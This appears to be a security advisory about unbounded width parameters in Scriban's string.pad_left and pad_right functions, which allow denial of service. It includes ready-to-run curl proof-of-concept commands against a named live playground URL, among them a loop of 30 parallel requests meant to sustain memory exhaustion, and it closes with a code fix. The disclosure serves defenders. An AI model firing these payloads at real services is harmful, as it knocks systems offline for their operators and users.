+ "details": "## Summary\n\nThe built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`.\n\n## Details\n\n`StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs:1181-1183\npublic static string PadLeft(string text, int width)\n{\n return (text ?? string.Empty).PadLeft(width);\n}\n\n// src/Scriban/Functions/StringFunctions.cs:1200-1202\npublic static string PadRight(string text, int width)\n{\n return (text ?? string.Empty).PadRight(width);\n}\n```\n\nThe `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.\n\nThe Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with:\n- No authentication\n- Template size limit of 1KB (line 71) — the payload fits in 39 bytes\n- A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect.\n- Rate limiting of 30 requests/minute (line 25)\n\n## PoC\n\nSingle request to crash or degrade the AppService:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}'\n```\n\nThis 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).\n\n**Expected result:** The service returns an error or truncated output safely.\n\n**Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process.\n\nSustained attack with rate limiting:\n\n```bash\n# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure\nfor i in $(seq 1 30); do\n curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}' &\ndone\nwait\n```\n\nThe `string.pad_right` variant works identically:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n -H \"Content-Type: application/json\" \\\n -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_right 500000000 }}\"}'\n```\n\n## Impact\n\n- **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`.\n- An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request.\n- With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.\n- The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation.\n\n## Recommended Fix\n\nAdd width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs\n\n// Option 1: Fixed reasonable maximum (simplest fix)\npublic static string PadLeft(string text, int width)\n{\n if (width < 0) width = 0;\n if (width > 1_048_576) width = 1_048_576; // 1MB cap\n return (text ?? string.Empty).PadLeft(width);\n}\n\npublic static string PadRight(string text, int width)\n{\n if (width < 0) width = 0;\n if (width > 1_048_576) width = 1_048_576; // 1MB cap\n return (text ?? string.Empty).PadRight(width);\n}\n```\n\nAlternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.",
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